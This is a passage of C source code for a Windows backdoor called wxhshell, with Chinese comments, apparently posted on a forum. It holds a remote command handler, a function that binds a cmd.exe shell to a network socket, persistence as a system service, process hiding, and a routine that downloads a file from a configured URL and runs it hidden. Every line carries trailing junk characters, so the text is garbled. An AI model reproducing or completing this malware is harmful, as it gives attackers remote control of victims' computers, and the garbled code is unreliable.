    switch(cmd[0]) { arVu`pD*n  
  ki|KtKAu_9  
  // 帮助 bsCl w  
  case '?': { 287g 5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *LuR <V  
    break; Uk1|y\  
  } &~4;HjS  
  // 安装 }+mIP:T  
  case 'i': { r_R( kns  
    if(Install()) xA7>";sla[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (U_`Q1Jo  
    else vbA<=V*P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kd='l~rby  
    break; JRgrg &#  
    } |)TI&T;k  
  // 卸载 "Yp:{e  
  case 'r': { h@kq>no  
    if(Uninstall()) WZ@hP'Zc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I1f4u6\*X  
    else }xx"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,5*Z<[*  
    break; ) wZ;}O  
    } L<D<3g|4  
  // 显示 wxhshell 所在路径 "FD`1  
  case 'p': { 7C;oMh5  
    char svExeFile[MAX_PATH]; =Ff _)k  
    strcpy(svExeFile,"\n\r"); ZYS`M?Au  
      strcat(svExeFile,ExeFile); bm>N~DC  
        send(wsh,svExeFile,strlen(svExeFile),0); {UeS_O>(  
    break; lIhP\:;S&  
    } g49G7sk  
  // 重启 I3I1<}>]Z  
  case 'b': { Yamu"#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X&LaAqlSG  
    if(Boot(REBOOT)) <6.aSOS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7y?aw`Sw:  
    else { |lDxk[  
    closesocket(wsh); gPE` mE  
    ExitThread(0); ZA1:Y{ V  
    } ']bw37_U,  
    break; "1P[D'HV4|  
    } AONEUSxJ  
  // 关机 :  I q  
  case 'd': { '^|u\$&U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M&[bb $00j  
    if(Boot(SHUTDOWN)) 8NZQTRdH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :~^_*:  
    else { vZiuElxKi  
    closesocket(wsh); K0aT(Rc e  
    ExitThread(0); :kMF.9U:  
    } W(jOD,QMB  
    break; }/bxe0px  
    } 1a gNwFd~  
  // 获取shell )5[OG7/g  
  case 's': { yR3pK 0Y(?  
    CmdShell(wsh); mOC<a7#  
    closesocket(wsh); (-D^_*f  
    ExitThread(0); p3,m),  
    break; [%c5MQ?H  
  } _|Uv7>}J^  
  // 退出 ?S<`*O +  
  case 'x': { MvKr~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =vs]Kmm  
    CloseIt(wsh); 56?RFnZ&j  
    break; %f?Z/Wn  
    } fsjCu!  
  // 离开 eKUP,y;[I  
  case 'q': { ~tc,p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !AXt6z cZ  
    closesocket(wsh); V/&JArW  
    WSACleanup(); ]*Cq'<h$  
    exit(1); '" 4;;(  
    break; rRvZG&k  
        } `Sx1?@8(  
  } =OeLF  
  }  ;?G..,  
/:;"rnvq  
  // 提示信息 $5wf{iZY.Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OQ&'3hv{  
} Kh8  
  } @tIY%;Bgk  
2C Fgit  
  return; s'^sT=b  
} 7>V*gV?v  
zCdcwTe  
// shell模块句柄 Bwc_N.w?3  
int CmdShell(SOCKET sock) _Rb>py  
{ Xqy9D ZIn  
STARTUPINFO si; KG=57=[  
ZeroMemory(&si,sizeof(si)); 1EMud,,:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K`0'2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ES)@iM?5  
PROCESS_INFORMATION ProcessInfo; ]7{ e~U  
char cmdline[]="cmd"; bo-L|R&O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /:d6I].  
  return 0; `aDVN_h{6  
} Qt\^h/zjG  
Q*N{3G!  
// 自身启动模式 R $@$  
int StartFromService(void) Aw]kQ\P&  
{ ES\=MO5a7  
typedef struct  MwC}  
{ K|Xr~\=  
  DWORD ExitStatus; | Rj"}SC  
  DWORD PebBaseAddress; 5uX-onP\[  
  DWORD AffinityMask; W6s-epsRmT  
  DWORD BasePriority; ?="?)t[  
  ULONG UniqueProcessId; ZY|$[>X!  
  ULONG InheritedFromUniqueProcessId; W)<t7q+  
}   PROCESS_BASIC_INFORMATION; $-p9cyk  
?_7iL?  
PROCNTQSIP NtQueryInformationProcess; &;naaV_2T  
7Bym?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1+#E|YWJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N;v]ypak  
+1]A$|qyW  
  HANDLE             hProcess; f28bBuv1?  
  PROCESS_BASIC_INFORMATION pbi; f~R+Q/Gtz`  
u}.mJDL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >QdT 7gB  
  if(NULL == hInst ) return 0; !;UoZ~  
YrsE 88QqI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q?qH7={,eu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qb5@e#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "vX\Q rL  
^ X-6j[".  
  if (!NtQueryInformationProcess) return 0; P  Ij  
?vfZ>7Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Am|)\/K+Z  
  if(!hProcess) return 0; "Hk7s+%  
/ E!N:g<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7h.fT`  
{DapXx  
  CloseHandle(hProcess); q8!]x-5$6j  
YkbuyUui  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p<<dj%  
if(hProcess==NULL) return 0; Tol"D2cyf  
PQ{5*}$N  
HMODULE hMod; Ciy%7_~\  
char procName[255]; q+} \ (|  
unsigned long cbNeeded; \&l@rMD3s  
B3<sSe8L0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~e&O?X  
A&A{Thz  
  CloseHandle(hProcess); /Pxny3  
xE{slDl  
if(strstr(procName,"services")) return 1; // 以服务启动 D/afa8>LQH  
dZox;_b  
  return 0; // 注册表启动 {:|b,ep T  
} TPs ]n7]:  
"|Kag|(qB  
// 主模块 _'4S1  
int StartWxhshell(LPSTR lpCmdLine) }kF?9w  
{ k?rJGc G  
  SOCKET wsl; FKPR;H8>  
BOOL val=TRUE; *I[tIO\  
  int port=0; :H:Se  
  struct sockaddr_in door; tH~>uOZW  
4bcd=a;  
  if(wscfg.ws_autoins) Install(); p1\mjM  
/|lAxAm?  
port=atoi(lpCmdLine); W4bN']?  
o7 0] F  
if(port<=0) port=wscfg.ws_port; * F_KOf9p  
gWL`J=DiU  
  WSADATA data; :G#+ 5 }  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cvQAo|  
{9@u:(<X9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <xe_t=N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cg|\UKfy$  
  door.sin_family = AF_INET; LIrebz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =kf"%vFV  
  door.sin_port = htons(port); |MOz> 1<a  
ddN G :  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :>/6:c?atG  
closesocket(wsl); -L<FVB  
return 1; -$X4RS  
} h#c7v !g  
zkiwFEHA=  
  if(listen(wsl,2) == INVALID_SOCKET) { !??g:2  
closesocket(wsl); K9]zUe&#w  
return 1; f7|Tp m  
} "LSzF_mK  
  Wxhshell(wsl); $ai;8)C6  
  WSACleanup(); d"n"A?nXh  
(tX)r4VU  
return 0; J7qTE8W=  
:wN !E{0j  
} 1Vx5tOq  
1J72*`4OK  
// 以NT服务方式启动 S;y4Z:!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E [6:}z<  
{ >t<\zC|~w  
DWORD   status = 0; r6R@"1/  
  DWORD   specificError = 0xfffffff; c-v-U O%  
L^zh|MEyzk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hsT&c|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }dHdy{$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MTN*{ug2:  
  serviceStatus.dwWin32ExitCode     = 0; JypP[yQ  
  serviceStatus.dwServiceSpecificExitCode = 0; bdLi _k  
  serviceStatus.dwCheckPoint       = 0; 6(BgnH8oc  
  serviceStatus.dwWaitHint       = 0; ^}{x).  
}-J0cV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nu OxEyC  
  if (hServiceStatusHandle==0) return; }%-iJ\  
@OGG]0 J  
status = GetLastError(); fUGappb  
  if (status!=NO_ERROR) #vhN$H:&q  
{ N|Ag8/2A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q3#+G:nh  
    serviceStatus.dwCheckPoint       = 0; (Q @'fb9z  
    serviceStatus.dwWaitHint       = 0; /%s:aO  
    serviceStatus.dwWin32ExitCode     = status; r/HCWs|  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7(oA(l1V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `R>z{-@=  
    return; KQvSeH>r  
  } ~**x_ v  
GmaNi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Lr 5{c5M  
  serviceStatus.dwCheckPoint       = 0; <,rOsE6  
  serviceStatus.dwWaitHint       = 0; y4LUC;[n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ggiy{CdR  
} oP9 y@U  
?Pp*BB,*y  
// 处理NT服务事件,比如:启动、停止 IM7<z,*oF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z#ki# o  
{ *z)gSX  
switch(fdwControl) i;U*Y *f  
{ "M!m-]  
case SERVICE_CONTROL_STOP: 6 Bdxdx*zt  
  serviceStatus.dwWin32ExitCode = 0; UAT\ .  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9cUa@;*1  
  serviceStatus.dwCheckPoint   = 0; $A-X3d;'\/  
  serviceStatus.dwWaitHint     = 0; biU_ImJ>0  
  { |Tc4a4jS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zL9~gJ  
  } 9Li*L&B)  
  return; =>B"j`oR  
case SERVICE_CONTROL_PAUSE: w$AR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xO Aq!,|V  
  break; mO]>]   
case SERVICE_CONTROL_CONTINUE: ZJQFn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]K*R[  
  break; gwQMy$  
case SERVICE_CONTROL_INTERROGATE: 5h`LWA B  
  break; )\ceanS  
}; 7=9>yba)^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d1/9 A-{  
} 9Dgs A`{$  
L!zdrCM  
// 标准应用程序主函数 vdAd@Z~\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z\EA!Cs3  
{ pCrm `hy(  
lFnYQab  
// 获取操作系统版本 lTP#6zqfv  
OsIsNt=GetOsVer(); Xd5s8C/}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q,^/Lm|]k  
t@9-LYbL  
  // 从命令行安装 MO0NNVVi%U  
  if(strpbrk(lpCmdLine,"iI")) Install(); `D |/g;  
77yYdil^W+  
  // 下载执行文件 b<~-s sL7a  
if(wscfg.ws_downexe) { bTmhz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8K?}!$fz  
  WinExec(wscfg.ws_filenam,SW_HIDE); J  sz=5`  
} g:a[N%[C  
k]5tU\;Yw  
if(!OsIsNt) { 2Kz$y JTp  
// 如果时win9x,隐藏进程并且设置为注册表启动 !ess.U&m'  
HideProc(); V%PQlc.X  
StartWxhshell(lpCmdLine); ?o?$HK   
} 1' U  
else *2->>"kh  
  if(StartFromService()) * 7Ov.v%  
  // 以服务方式启动 2=n`z) R  
  StartServiceCtrlDispatcher(DispatchTable); 3PZ(Kn<  
else 1h?ve,$  
  // 普通方式启动 1x;@BV  
  StartWxhshell(lpCmdLine); &Wcz~Gx3Q  
qb=2J5su  
return 0; ~M{/cv  
}
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只看该作者 1 发表于: 2006-10-10
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